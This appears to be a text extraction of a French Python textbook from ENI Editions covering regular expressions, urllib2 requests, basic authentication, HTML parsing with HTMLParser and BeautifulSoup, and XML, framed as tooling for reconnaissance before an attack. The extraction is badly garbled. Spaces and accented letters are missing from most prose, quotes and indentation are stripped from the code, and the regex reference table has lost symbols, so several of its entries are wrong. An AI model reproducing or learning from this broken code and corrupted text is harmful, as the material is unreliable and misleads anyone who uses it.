saitquecesdernierssontlorigineconuspourtraiterlinformation.Pourremdiercela,ilafallupenserun
outil, aussi puissant que les traitements sont complexes, pour comprendre des objets comme des mots et
effectuersurceuxcidestraitements,lesregex(expressionsrgulires).
Nousauronsbesointrssouventdefiltrerlesinformations,depouvoirfaireressortirllmentimportantdune
page web par exemple, ou les sousdomaines dfinis dans la page, ou les mails des employs contenus dans
unepage.
Pour cela, nous aurons besoin des expressions rgulires. Une expression rationnelle ou expression rgulire
est en informatique une chane de caractres que lon appelle parfois un motif et qui dcrit un ensemble de
chanesdecaractrespossibles,selonunesyntaxeprcise.
Parexemple,nouspourrionspenserlADN :lareprsentationdelcritureressembleraitunesuitedeA,deG,
deTetdeC(pourreprsenterlesbasesazotesquesontlAdnine,laGuanine,laThymineetlaCytosine).
Ainsipourvrifierquunechanedecaractrescorrespondladescriptiondun brin dADN,ilfautquelachane
vrifie la proposition chaque caractre de cette chane appartient exclusivement au groupe compos des
lettresA,C,G,T .
Cest un exemple simple dexpression rgulire, nous allons maintenant dfinir les termes utiliss. Nous
parlerons dabord de chane de caractres, ce qui se passe de commentaire. Nous dirons dune chane de
caractresquellecorrespond ounonuneexpressionrgulire.
ATCGCT correspondnotreexpressionrgulirealorsque ATBDKL neluicorrespondpas.
Nous pouvons aussi parler de correspondance dune expression rgulire une chane de caractres. Cela
sexprimeparleverbetomatchenanglais.
Biensr,lecasolachaneentirecorrespondantlexpressionrgulirenestpastoujoursvrai,maissiune
souschanecorrespond,nousparleronsalorsdecorrespondancedunepartiedelachanelaregex.
Uneexpressionrgulirepeutavoir,ensimplifiant,troisfonctions :

testerlaprsencedunechanecorrespondantuneexpression,

rcuprerunechanecorrespondantuneexpression,

remplacerdutextecorrespondantuneexpression.

2.Lemodulere
Lesexpressionsrguliressontgresparlemodulere.
Ilseradoncncessairedimportercemodule

import re

Le module re vous permet dutiliser des expressions rgulires au sein de Python. Cet outil puissant est
compltementincontournablelorsquonveutallerrcuprerdesinformationsdansunfichier.

ENI Editions - All rights reserved - chantal gournier

- 1-

Pour crer une expression rgulire, nous devrons faire appel re.compile(). Nous passerons cette
fonction lexpression rgulire. La chane fournie doit tre au format brut, cestdire que plutt que de
lencadreravecdesguillemetsilfaudraquelledbutepar r,lerdsignantraw(brutenanglais).
Ceci pour viter que Python interprte le \ comme caractre dchappement et plus gnralement pour viter
quePythonnetentedetraitementinternesurlachane.
Ilutilisedonclachanebrute tellequelle.

ma_premiere_regex=re.compile(r[ACGT]+)

NousvenonscidessusdedfinirunepartiedebrindADN.Maisnousyreviendrons unpeuplustard.

3.Lesmthodesutiles
Lamthodesearchvouspermetderechercherunpatternauseindunechanedecaractresavecunesyntaxe
delaformesearch(pattern, string).
Sipatternexistedansstring,PythonrenvoieuneinstanceMatchObjectsansrentrerdanslesdtailspropres
aulangageorientobjet,sionutilisecetteinstancedansuntest,ilseraconsidrcommevrai.

a.Lamthodesearch()

[GCC 4.6.1] on linux2


Type "help", "copyright", "credits" or "license" for more
information.
>>> import re
>>> chaine="Les editions ENI"
>>> re.search(ENI,chaine)
<_sre.SRE_Match object at 0x1911238>
>>> if re.search(ENI,chaine):
...
print "lexpression reguliere fonctionne"
...
lexpression reguliere fonctionne
>>>

Il est noter quil existe aussi dans le module re la mthode match() qui fonctionne sur le modle de
search().
LadiffrenceestquellerenvoieuneinstanceMatchObjectseulementlorsquelexpressionrgulirecorrespond
audbutdelachane(partirdupremiercaractre).
ReprenonslecasdenotreADN:

[GCC 4.6.1] on linux2


Type "help", "copyright", "credits" or "license" for more
information.
>>> import re
>>> chaine="Le brin dacide desoxyribonucleique extrait est
compose ainsi : GCTATCGTAC"
>>> ma_regex=re.compile(r"[ACGT]+")
>>> if ma_regex.search(chaine)
...
print "Une partie dADN a ete trouvee"
>>>

Aprsavoircrnotreregexparlamthodere.compile(),nousluidemandonsdetester,grcelappel
- 2-

ENI Editions - All rights reserved - chantal gournier

search(),laprsencedechaneluicorrespondant.
Si tel est le cas, searchrenvoieunobjetquinest pas nul, donc le test if est valid et nous affichons un
message.

b.Lamthodematch()

>>> chaine="Les editions ENI"


>>> re.search(ENI,chaine)
<_sre.SRE_Match object at 0x1911308>
>>> re.match(ENI,chaine)
>>>

Il est aussi commode de compiler pralablement lexpression rgulire laide de la mthode compile qui
renvoieunobjetdetypeexpressionrgulire:

>>> import re
>>> regex=re.compile(([0-9]+)\.([0-9]+))
>>> MATCH=regex.search("pi:3.1415926535897931")
>>> MATCH.group(0)
3.1415926535897931
>>> MATCH.group(1)
3
>>> MATCH.group(2)
1415926535897931
>>> MATCH.start()
3
>>> MATCH.end()
21
>>>

Nousnousapercevonssurcetexemplequelutilisationdelafonction group()suruneinstanceMatchObject
permet de rcuprer les zones situes entre parenthses. Les fonctions start() et end() donnent
respectivementlapositiondedbutetdefindelazonequicorrespondlaregex.
Ilestimportantdenoterquelamthodesearch()nerenvoiequelapremirezonequicorrespond,mmesil
enexisteplusieurs:

>>> MATCH = regex.search("pi : 3.1415926535897931 , et e :


2.7182818284590451")
>>> MATCH.group(0)
3.1415926535897931

Si nous voulons rcuprer chaque zone, nous pouvons utiliser la mthode findall() qui renvoie un tuple
aveclensembledeceszones:

>>> MATCH = regex.findall("pi : 3.1415926535897931 , et e :


2.7182818284590451")
>>> MATCH
[(3, 1415926535897931), (2, 7182818284590451)]
>>>

c.Mthodesub()
Enfin,lamthode sub(repl,string)permetdeffectuerdesremplacementsassezpuissants.Pardfautla

ENI Editions - All rights reserved - chantal gournier

- 3-

fonction sub() remplace toutes les occurrences de la regex si nous ne souhaitons que les n premires
occurrences,nouspouvonsutiliserlargumentcount=n:

>>> regex.sub(3.14,"pi : 3.1415926535897931 , et e :


2.7182818284590451")
pi : 3.14 , et e : 3.14
>>> regex.sub(3.14,"pi : 3.1415926535897931 , et e :
2.7182818284590451",count=1)
pi : 3.14 , et e : 2.7182818284590451
>>>

AvecnotrecasdelADN,celavadonner :

[GCC 4.6.1] on linux2


Type "help", "copyright", "credits" or "license" for more
information.
>>> import re
>>> chaine="Le brin dacide desoxyribonucleique extrait est
compose ainsi : GCTATCGTAC"
>>> ma_regex=re.compile(r"[ACGT]+")
>>> ma_regex.sub("extrait dADN confidentiel",chaine)
>>>

CescriptaurapoureffetdesubstituertoutextraitdADNparlemessage extraitdADNconfidentiel .
Lappel sub()varemplacer,danslachaneplaceenargument,toutechanecorrespondantlexpression
rgulireparcellespcifiedanslepremierargument.

d.Allerplusloinaveclesgroupes

#!/usr/bin/env python
#coding:utf-8
import re
phrase="febel@eni.fr"
ma_regex=re.compile(r"(\w+)@(\w+\.[a-zA-Z]{2,3})")
groupes=ma_regex.search(phrase)
print "User : ",groupes.group(1)
print "Domain : ",groupes.group(2)

Nousobservonsdesparenthsesquivontpermettredercuprerdansunpremiertempslegroupe \w+
quidsignelenomdutilisateur(febel)puislegroupe \w+\.[azAZ]{2,3} quireprsenteledomaine.
Nousdevonsdanscetteexpressionchapperle . cestpourquoinousretrouvonsle \. .
Lesparenthsesontalorsdeuxutilitsdanslesregex :

grouperdessymboles

permettrelextractiondemorceauxdexpressions.

4.Commentconstruireson pattern ouexpression

- 4-

[esx]:e,soux.voi[esx]marcheraitavecvoie,voisetvoix.

[09]:porte.Letraitdunionsignifie

:09,surdesvaleursASCII.

ENI Editions - All rights reserved - chantal gournier

[09afAF]:nombrehexadcimal.

[09afxAFX]:nombrehexadcimaloulettrex.

q[u]:signifie Nestpas

q(?!u):qpassuiviparu.

q(?=u):rechercheunqsuiviparunu,maisneretournerapasleu.

q(?=(regex)):rechercheqsuividuneexpressionrgulire.

(?<=u)q:sortqsilestprcdparu.

(?<!u)q:sortqsilnestpasprcdparu.

.qsuividenimportequelcaractresaufu.

(?:u)q : recherche uq, mais ne retourne pas le u. Exemple : dans Mark O. Samson, pour avoir le
nomdefamilleetleprnom,maisensautantledeuximeprnompourlerendreoptionnel : ([azAZ]
+)(?: [azAZ.]+)? ([azAZ]+)
Lesparenthsescapturentchacunedesexpressionsenrendantle2eprnomoptionnelavec?,etne
vontpasretournerde2eprnom.

[+*]:trouveun+ouun*.

[\\x]:trouveun\ouunx.

[x]:trouvexou.

[]x]:trouve]oux.

[]x]:trouveuncaractrequiestni]nix.

[x] or [x]:trouveunoux.

\d:quivalent[09].

\D:quivalent[09].

\s

\S:raccourcipournonespace [\t\n\r\f\v]ou[\s].

\w:caractrealphanumrique[azAZ09_].

\W:caractrenonalphanumrique[azAZ09_].

.:toutcaractrequinestpasunsautdeligne.

[.]:unpoint.

".*":trouvenimportequoientreguillemets(" ").

:peutdbuterunechane.

$:vrifielafindelachane.\d$signifiequelachanedoitseterminerparunchiffre.\d+$signifie

:raccourcipourdesespaces[\t\n\r\f\v].

quelachanedoitcommencerparunchiffre(),enavoirunouplus(+)ettermineravecunedcimale
($).

\s+:vrifiesilyadesespacesvidesaudbutdunechane.

\s+$:vrifiesilyadesespacesvideslafindunechane.

*:nimportequelcaractre,de0linfini.

(a*):vrifie a

chat|chien|poisson:sort chat , chien ou poisson

\b(chat|chien)\b:sort chat ou chien entantquemotscompletsseulement.

(anti)(gel)?:varetourneranti,antigel,maispasgel.

car?pe:vatrouver carpe et cape .

\b[19][09]{3}\b:donneunnombreentre1000et9999.

\b[19][09]{2,4}\b:donneunnombreentre100et99999.

rptunnombredefoisentre0etinfini.
(vasortir chaton ou achat ).

ENI Editions - All rights reserved - chantal gournier

- 5-

- 6-

ENI Editions - All rights reserved - chantal gournier

LeWeb
1.Introduction
La prisedempreinte ,cestdirelarecherchedinformationssurunepersonne,uneentitouuneentreprise,
estllmentprimordialpouruneattaquerussie.Cestlapartiedutravailquivaprendreleplusdetemps.
Ilfautconnatreparfaitementsacible.Pourcela,desoutilsetdessiteswebsontdisponiblestelsqueMaltego,
123people,lesrseauxsociauxetautres.
Mais il arrive, et plus souvent que lon ne peut limaginer, que ces outils soient trop gnriques et ne
correspondent pas au besoin ou que le flot dinformations reu soit trop volumineux pour pouvoir tre trait
rapidement.
Ildevientalorsncessairedecrerdesoutils.Pourlarecherchedinformationssurunsiteweb,nousallierons
lutilisation des bibliothques pour le web telles que urllib, urllib2 et celle des expressions rgulires vues
prcdemment.

2.Rcuprationdunepagesource
Lalibrairieutiliseseraurllib2.
Deuxmthodesvontnoustreutilesici:Request()eturlopen().
chap1_exo25.py

#!/usr/bin/env python
# * coding: UTF8 *
import sys, urllib2
req=urllib2.Request(sys.argv[1])
fd=urllib2.urlopen(req)
while 1:
data=fd.read(1024)
if not len(data):
break
print data

RsultatsurlapagedeENI

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo25.py http://www.eni.fr
<html>
<head>
<title>ENI groupe, professionnel de linformatique,
&eacute;diteurs, d&eacute;veloppement, formation, conseil</title>
<meta name="description" content="ENI GROUPE, des professionnels
de la formation informatique, sp&eacute;cialiste en e-learning,
&eacute;diteurs de livre, d&eacute;veloppement, ing&eacute;nierie,
conseil, Microsoft, formation m&eacute;tiers">
<meta NAME="KEYWORDS" CONTENTS="formation informatique,
bureautique, r&eacute;seaux, Formation professionelle, graphisme,
pao, analyste-programmeur, MCPSE, IFPA, &eacute;ditions, commerce,
nantes, ouest, aquitaine, bordeaux, livres, nouveaut&eacute;s,
scolaire, humaines, autoformation, librairie, ressources humaines,
formation, france, e-training, &eacute;diteurs, microsoft,
macromedia, adobe, lotus, redhat, mandrake, expertise

ENI Editions - All rights reserved - chantal gournier

- 1-

...
<noscript>
<img width="1" height="1" alt=""
src="http://logi150.xiti.com/hit.xiti?s=343923&s2=&p=&di=&" >
</noscript>
</body>
</html>

Unepartieseulementdelapagercupreestafficheici.
Ce premier script nest pas trs compliqu : nous faisons appel la mthode Request() de la bibliothque
urllib2enluipassantcommeargumentlesitewebrcuprer.
Une fois lobjetcr,nousfaisonsensuiteappellamthode urlopen()decettemmebibliothqueenlui
passantcommeargumentlobjetcrprcdemment.
Nous nous retrouvons avec un nouvel objet partir duquel nous pourrons utiliser la mthode read() pour
rcuprerlesdonnesdelapageweb.
VotreclientPythonpeutenvoyerdesdonnesausiteweb.
Pourceladeuxmthodes:GETetPOST.

3.MthodesGETetPOST
Lutilisation de lune ou lautre des mthodes est normalement indique par le paramtre method de la balise
<form>dansledocumentHTML.
Ladiffrenceprincipale,endehorsduvolumedesarguments,estlapparitiondesvariablesdanslURL(mthode
GET)ounon(mthodePOST).

a.MthodeGET
Nousauronsquelquechosedelaforme:
http://www.site.fr/cgi/cherche.cgi?mot=python+socket&max=25&source=www
Chap1_exo26.py

#!/usr/bin/env python
# --*-- coding: UTF-8 --*-import urllib2,sys, urllib
def addGETdata(url,data):
return url + ? + urllib.urlencode(data)
site=raw_input("donnez lURL\n")
query=raw_input(donnez la variable\n)
donnee=raw_input(donnez la donnee\n)
url=addGETdata(site,[(query,donnee)])
print "on utilise lURL" ,url

Rsultatscriptchap1_exo26.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples$

- 2-

ENI Editions - All rights reserved - chantal gournier

./chap1_exo26.py
donnez lURL
google.fr
donnez la variable
p
donnez la donnee
Python
on utilise lURL google.fr?p=python
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

NousvoyonsdanslersultatduscriptquelURLestbienformeenGETetcelagrceladfinitionappele
addGETdata().
CettedfinitionvaconcatnerlURLdonneparlutilisateuretle ? ainsiqueladonnerecherche.
Exempleaveclarecherchedunephrase

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo26.py donnez lURL
google.fr
donnez la variable
p
donnez la donnee
la chevre de monsieur seguin
on utilise lURL google.fr?p=la+chevre+de+monsieur+seguin
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

Autreexempleavecdescaractresspciaux

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo26.py
donnez lURL
google.fr
donnez la variable
p
donnez la donnee
m % $
on utilise lURL google.fr?p=%C2%B5m+%25+%24
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

b.MthodePOST
CommepourlamthodeGET,lesdonnesdoiventtreencodes.
MaislesdonnesnesontpasinclusesdanslURL.
chap1_exo27.py

#!/usr/bin/env python
import sys, urllib2, urllib
requete=sys.argv[1]
url=http://fr.search.yahoo.com/search
data=urllib.urlencode([(p,requete)])
req=urllib2.Request(url)
fd=urllib2.urlopen(req,data)
file=open("resultat.html","w")
while 1:
data=fd.read(1024)
ENI Editions - All rights reserved - chantal gournier

- 3-

if not len(data):
file.close()
break
file.write(data)

NouscronsdoncicilarequtePOST lersultatnestpasaffichlcran,maiscritdansunfichierappelici
resultat.html.
NouspouvonsbiensrouvrircefichieravecunnavigateurtelqueFirefoxetvrifierquenousavonsbienreu
lecontenudelapagequicorrespondlarponsedenotrerequte.

4.Gestiondeserreurs
a.Erreursdeconnexion:urllib2.URLError

try:
fd=urllib2.open(req)
except urllib2.URLError, e:
print erreur de connexion :,e
sys.exit(1)

Cetteexceptionestassezsimplecomprendre:sinousindiquonsuneURLerrone,uneerreurestgnre
par le serveur que le try_except intercepte. Nous pouvons donc grer cette erreur dans lexcept grce
URLError.

b.Erreur404
Lerreur404peutaussitredtecteetgreavecurllib2.HTTPError:

try:
fd=urllib2.urlopen(req)
except urllib2.HTTPError,e:
print Une erreur est survenue :
print e.read
sys.exit(1)

Une erreur HTTP 404 est un code derreur dans le protocole HTTP. Grce HTTPError, nous pouvons
lintercepter entre autres. Nous pouvons avoir la liste des erreurs dans la RFC 2616
(www.faqs.org/rfcs/rfc2616.html).

5.Authentification
Certainssiteswebncessitentuneauthentificationafindyavoiraccs.
Lauthentificationlapluscommuneestcelledanslaquelleleclienttransmetunidentifiantetunmotdepasse.
Cela apparat souvent comme un popup (une fentre qui souvre avec juste deux lignes pour insrer un
identifiantetmotdepasse).
chap1_exo28.py

#!/usr/bin/env python

- 4-

ENI Editions - All rights reserved - chantal gournier

import sys, urllib2, getpass


class TerminalPassword(urllib2.HTTPPasswordMgr):
def find_user_password(self,realm,authuri):
retval=urllib2.HTTPPasswordMgr.find_user_password(
self,realm,authuri)
if retval[0]==None and retval[1]==None:
sys.stdout.write("un login est requis pour
%s sur %s\n"%(realm,authuri))
sys.stdout.write("Login : ")
username=sys.stdin.readline().rstrip()
password=getpass.getpass().rstrip()
return (username,password)
else:
return retval
req=urllib2.Request(sys.argv[1])
opener=urllib2.build_opener(urllib2.HTTPBasicAuthHandler(Terminal
Password()))
fd=opener.open(req)
print "Essai " ,fd.geturl()
info=fd.info()
for key, value in info.items():
print "%s = %s"%(key,value)

Rsultatduscriptsurunsiteavecauthentification

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo28.py http://secret.eni.net
un identifiant est requis pour Private sur http://secret.eni.net
Identifiant : eni
Mot de passe:
un identifiant est requis pour Private sur http://secret.eni.net/login?
back_url=http%3A%2F%2Fredmine.acissi.net%2F
Identifiant : eni
Mot de passe:
Essai http://secret.eni.net/login?back_url=http%3A%2F
%2Fredmine.acissi.net%2F
status = 200
content-length = 3776
x-powered-by = Phusion Passenger (mod_rails/mod_rack) 2.2.11
set-cookie =
_redmine_session=BAh7BzoQX2NzcmZfdG9rZW4iMU1rT0pwTFFmSGUwRXFyY1dma
1k3bUF2YlhTeFNBNEZQZGpIWGlSTUl5dEU9Og9zZXNzaW9uX2lkIiUzYzRkYWI0ZGZ
lYWIzZTU3NzRjODc3NTg4Y2MyYTU5ZA%3D%3D-b4fc263460a189c1f15e804e56dc061c60785237; path=/; HttpOnly
vary = Accept-Encoding
connection = close
server = Apache/2.2.16
x-runtime = 11
etag = "4369bda81a37c7e86d88579b5b177b8e"
cache-control = private, max-age=0, must-revalidate
date = Tue, 20 Dec 2011 12:47:24 GMT
content-type = text/html; charset=utf-8
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

Nousretrouvonscidessuslesdeuxpossibilits,unmotdepasseerronetlesbonsidentifiantetmotdepasse.
Noustrouvonsplusieursnouveautsdanscescript.
NousdfinissonsuneclasseTerminalPasswordquitendlaclasseurllib2.HTTPPasswordMgr.
Cetteextensionautoriseleprogrammedemanderlutilisateursonidentifiantetmotdepassequandcelaest
ncessaire.

ENI Editions - All rights reserved - chantal gournier

- 5-

Nous avons ensuite build_opener() qui autorise ajouter des enttes , handlers qui peuvent tre
optionnels.HTTPBasicAuthHandlerestajoutlachanedesenttes.

- 6-

ENI Editions - All rights reserved - chantal gournier

AnalyserlespagesHTMLetXHTML
1.Introduction
Parfois,ilestassezdifficiledeconstruiresonexpressionrgulireafindefiltrerladonnesouhaite.
PythonpossdeunmodulenommHTMLParserquivanouspermettredeparserplusfacilementnospagesweb.

2.Premireapproche
NousallonspartirdundocumentHTMLsimplequenousallonscrirenousmme.
Documentdedpart :chap1_HTML.html

<HTML>
<HEAD>
<TITLE> Titre du Document </TITLE>
</HEAD>
<BODY>
Voici le corps du texte
</BODY>
</HTML>

Nousallonsvoircommentrcuprerjusteletitredecedocument.
chap1_exo29.py

#!/usr/bin/env python
from HTMLParser import HTMLParser
import sys
class TitleParser(HTMLParser):
def __init__(self):
self.title=""
self.readingtitle=0
HTMLParser.__init__(self)
def handle_starttag(self,tag,attrs):
if tag==title:
self.readingtitle=1
def handle_data(self,data):
if self.readingtitle:
self.title += data
def handle_endtag(self,tag):
if tag=="title":
self.readingtitle=0
def gettitle(self):
return self.title
fd=open(sys.argv[1])
tp=TitleParser()
tp.feed(fd.read())
print "Le titre est : ",tp.gettitle()

ENI Editions - All rights reserved - chantal gournier

- 1-

Rsultatduscriptchap1_exo29.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo29.py chap1_HTML.html
Le titre est :
Titre du Document
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

Notrescriptrcuprelapageanalyserenargument.NousappelonsensuitelaclasseTitleParser().
La mthode

feed()
handle_data().

va appeler nos mthodes

handle_starttag(), handle_endtag()

et

Lamthodehandle_data()vasimplementvrifiersinousrecevonsoupasunedonnedellmentTITLEet,
sioui,lesauvedanstitle.
Nouspouvonssuivantlemmeprincipeextraireletextedunebaliseouvranteoufermantedenimportequeltag
dudocument.
PrenonscommeexemplelabaliseBODY.
Scriptprcdentmodifi :chap1_exo29b.py

#!/usr/bin/env python
from HTMLParser import HTMLParser
import sys
class TitleParser(HTMLParser):
def __init__(self):
self.body=""
self.readingbody=0
HTMLParser.__init__(self)
def handle_starttag(self,tag,attrs):
if tag==body:
self.readingbody=1
def handle_data(self,data):
if self.readingbody:
self.body += data
def handle_endtag(self,tag):
if tag=="body":
self.readingbody=0
def getbody(self):
return self.body
fd=open(sys.argv[1])
tp=TitleParser()
tp.feed(fd.read())
print "Le BODY est : ",tp.getbody()

RsultatavecBODY

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo29b.py chap1_HTML.html
Le BODY est :
Voici le corps du texte

- 2-

ENI Editions - All rights reserved - chantal gournier

fasm@moya:~/ENI_livre_formation/livre_python/exemples$

3.Travailsurdespages relles
a.Ampersand
Leproblmedespagesrellesestquenousallonsytrouvercequelonappelledesampersands,cestdire
descaractrescodsamp;.Parexemple,le&seracod&amp;.
Nousdevronsdoncconvertircesampersandsencaractresimprimables.
ReprenonsnotrefichierHTMLchap1_HTML.htmlpouryinclureundecesampersands.
chap1_HTML2.html

<HTML>
<HEAD>
<TITLE> Titre du Document &amp; Introduction</TITLE>
</HEAD>
<BODY>
Voici le corps du texte
</BODY>
</HTML>

chap1_exo30.py

#!/usr/bin/env python
from htmlentitydefs import entitydefs
from HTMLParser import HTMLParser
import sys
class TitleParser(HTMLParser):
def __init__(self):
self.title=""
self.readingtitle=0
HTMLParser.__init__(self)
def handle_starttag(self,tag,attrs):
if tag==title:
self.readingtitle=1
def handle_data(self,data):
if self.readingtitle:
self.title += data
def handle_endtag(self,tag):
if tag=="title":
self.readingtitle=0
def handle_entityref(self,name):
if entitydefs.has_key(name):
self.handle_data(entitydefs[name])
else:
self.handle_data(&+name+;)
def gettitle(self):
return self.title
fd=open(sys.argv[1])
ENI Editions - All rights reserved - chantal gournier

- 3-

tp=TitleParser()
tp.feed(fd.read())
print "Le titre est : ",tp.gettitle()

Lersultatdecescriptdonne :

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo30.py chap1_HTML2.html
Le titre est :
Titre du Document & Introduction
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

b.Caractresspciaux
ReprenonsnotrepageHTMLpouryinclureuncaractrespcial :
chap1_HTML3.html

<HTML>
<HEAD>
<TITLE> Titre du Document &amp; Introduction &#174;</TITLE>
</HEAD>
<BODY>
Voici le corps du texte
</BODY>
</HTML>

chap1_exo31.py

#!/usr/bin/env python
from htmlentitydefs import entitydefs
from HTMLParser import HTMLParser
import sys
class TitleParser(HTMLParser):
def __init__(self):
self.title=""
self.readingtitle=0
HTMLParser.__init__(self)
def handle_starttag(self,tag,attrs):
if tag==title:
self.readingtitle=1
def handle_data(self,data):
if self.readingtitle:
self.title += data
def handle_endtag(self,tag):
if tag=="title":
self.readingtitle=0
def handle_entityref(self,name):
if entitydefs.has_key(name):
self.handle_data(entitydefs[name])
else:
self.handle_data(&+name+;)
def handle_charref(self,name):
try:
- 4-

ENI Editions - All rights reserved - chantal gournier

charnum=int(name)
except ValueError:
return
if charnum < 1 or charnum > 255:
return
self.handle_data(chr(charnum))
def gettitle(self):
return self.title
fd=open(sys.argv[1])
tp=TitleParser()
tp.feed(fd.read())
print "Le titre est : ",tp.gettitle()

Rsultatduscript

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo31.py chap1_HTML3.html
Le titre est :
Titre du Document & Introduction
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

Nous avons ajout dans ce script la dfinition


chap1_exo30.py.

handle_charref(),

le reste est identique au script

Untestestfaitsurlavaleurdumotreusiceluiciestuncaractrespcial.

4.BeautifulSoup
a.Introduction
Il est parfois utile daller lire des informations sur une page Internet. Par exemple, le site
http://checkip.dyndns.orgaffichetoujourslemmemessagevousindiquantvotreadresseIP.
Ilpeuttreintressantdercuprerjustecetteadresse,cequisefaitsimplementdanscecasprcis,puisquil
nesagitquedetexte.
Parcontre,quandnousvoulonsextrairedesinformationssurunsitecontenantungrandnombredebalises,
celapeutservlerpluscomplexe.Ilexistepourcelaunoutiltrsutile,BeautifulSoup,pourparservosfichiers
HTML.

Import urllib
from BeautifulSoup import BeautifulSoup
lienweb=urllib.open("http://www.python.org/index.html")
pageweb=lienweb.read()
soupe=BeautifulSoup(pageweb)
print "Affichage de la balise TITLE"
print soupe.html.head.title
print "Affichage du titre uniquement"
print soupe.html.head.title.string

VoiciunaperudecequepeutfaireBeautifulSoupcouplurllib.Cettedernirevanouspermettredelireun
fichier situ une URL exactement de la mme manire que si nous faisions un open() sur un fichier local.
Ceciesttrspratique.
BeautifulSoup sinitialise grce la fonction du mme nom, laquelle nous passons notre page web en
paramtre.Lafonctionvarecrerunarbrehirarchiquepartirdelapageweb.

ENI Editions - All rights reserved - chantal gournier

- 5-

AccderlabaliseTitlerevientdoncsuivrelecheminementsuivant :onpartdupremiern ud(ouracine),


donc HTML, puis on entre dans le n ud HEAD et on lit la balise. Ce qui se traduit par :
soup.html.head.title.
Pourobtenirunrsultatnettoydesesbalises,nousaffichonslavaleurtitle.string.
Enrglegnrale,pourobtenirunrsultatnettoy,nousajouteronsstringcommesuffixe.

b.Rcuprerlesliens
BeautifulSoup peut tre utilis et il lest dans les outils statistiques du web. En effet, il rend trs simple la
rcuprationdetousleslienscontenusdanslapage.
VoiciunemthodeavecBeautifulSoup :

import urllib
from BeautifulSoup import BeautifulSoup
lienweb=urllib.open("http://www.python.org/index.html")
pageweb=lienweb.read()
soupe=BeautifulSoup(pageweb)
print "\n\naffichage de tous les liens de la page"
print soupe(a)
print "\n\naffichage du premier lien trouve"
print soupe(a)[0]
print "\n\naffichage de lattribut href du premier lien trouve"
print soupe(a)[0]["href"]
print "\n\naffichage de lattribut href de tous les liens trouves"
for i in soupe(a) :
try :
print i[ href ]
except :
pass

Nousvoyonscidessuslecheminementpourcherchertouteslesoccurrencesdunebaliseetrcuprerensuite
sesattributs.
Pourrecensertouteslesbalises,nousutiliseronssoupe(BALISE_VOULUE).
Pour accder la valeur dun attribut, nous utiliserons
DOCCURRENCE][Attribut].

soupe(BALISE_

VOULUE)[NUMERO

SinousrencontronsunlienHTMLdecegenre :

<a href="http://domain.tld/index2.html><h2>Acces
INDEX2.html</h2></a>"

Pour isoler le texte, il faut crire soupe(a)[0].h2.string (avec 0 si lon considre que ce lien est la
premireoccurrencetrouve).
Nouspouvonsunpeuresserrerlescritresderechercheenspcifiantquenotrebalisedoitcomporterteloutel
critre en fournissant un second paramtre notre commande soupe(). Ce second paramtre sera un
dictionnaire.

import urllib
from BeautifulSoup import BeautifulSoup
lienweb=urllib.open("http://www.python.org/index.html")
pageweb=lienweb.read()

- 6-

ENI Editions - All rights reserved - chantal gournier

soupe=BeautifulSoup(pageweb)
print "Comptons le nombre de balises td"
print len(soupe(td))
print "Maintenant comptons le nombre de balises td de classe body"
print len(soupe(td,{"class":"body"}))

Plusieursattributspeuventtrepasssenargumentsetlonpeutmmeutiliserlesexpressionsrgulires.

print soupe(td,{"class":re.compile(.*r$)})

Cidessus,nousrcupronslalistedesbalisesCOLONNE(<td>)dontlattributclassseterminepar r .
BeautifulSoupestcapabledeparsernimportequellangagebaliscommelestHTMLavecdesbalisesdetype
<TAG></TAG>pourlouvertureetlafermeture.
BienqueDOMsoitconupourcela,unfichierXMLpeuttreparsparBeautifulSoup.

ENI Editions - All rights reserved - chantal gournier

- 7-

LeXML
1.Introduction
LelangageXMLestindpendantduprogramme,lisible,standardisparleW3Cetsastructureesthirarchise.
Autantdepointsfortsquifontlintrtdecelangage.
Un fichier XML est un simple fichier texte comportant lextension .xml qui permet de stocker des informations
formatessuivantcertainsbesoins.
Chaqueinformationeststockeentredeux tagsoubalisesxml.Lexempleleplusconnudelutilisation du XML
estleHTMLmaisilestgalementpossibledutiliserleXMLpourstockerdesdonnesbrutes,ilsuffitensuitede
parsercefichierpourrcuprersoncontenu.

2.ReprsentationdufichierXML
<?xml version= "1.0"?>
<Sommaire>
<!--Ceci est un exemple-->
<titre> programmation Python</titre>
<chapitre numero= "1">
<titre> Introduction</titre>
<date annee= "2012" jour="14"
mois="Janvier"/>
<img src="logo.jpg"/>
<auteur>Ebel Franck</auteur>
</chapitre>
<chapitre numero= "2">
<titre> Introduction</titre>
<date annee= "2012" jour="15"
mois="Janvier"/>
<img src="logo2.jpg"/>
<auteur>Editions ENI</auteur>
</chapitre>
</Sommaire>

Le fichier cidessus reprsente le sommaire dun livre, chaque n ud ou tag contient des donnes ou des
attributsquipeuventtremodifisselonnosbesoins.
La structure du fichier commence toujours par un tag racine suivi dautres n uds qui constituent une liste
dlmentsimbriqus.
Nous pouvons associer ces n udsdun document une arborescence de rpertoires avec un fichier racine, la
balise<sommaire>etainsidesuite.
Unergleimportante,contrairementauHTML,estquetouslestagsouvrantsdoiventtrefermsplusloindans
lefichier.
CommentfairepourchoisirXMLpluttquunfichierplatouencoreunebasededonnes ?
Il existe de nombreux comparatifs qui vous aideront dans votre choix, mais une piste est que le langage XML
permet davoir une structure clairement dfinie qui donne un avantage par rapport aux fichiers plats et aux
basesdedonnes. Sonatoutrestesafacilitdutilisation.

3.PythonetXML

ENI Editions - All rights reserved - chantal gournier

- 1-

Pour manipuler les fichiers XML, nous utiliserons lAPI DOM (Document Object Model) qui, contrairement SAX
(Simple API for XML), doit gnrer un arbre et donc lire lensemble du fichier. SAX est quant lui capable de
travailler surdesfichiersdegrandetailleainsiquedetraiterlesproblmesdespaces entrebalisesdetexte.
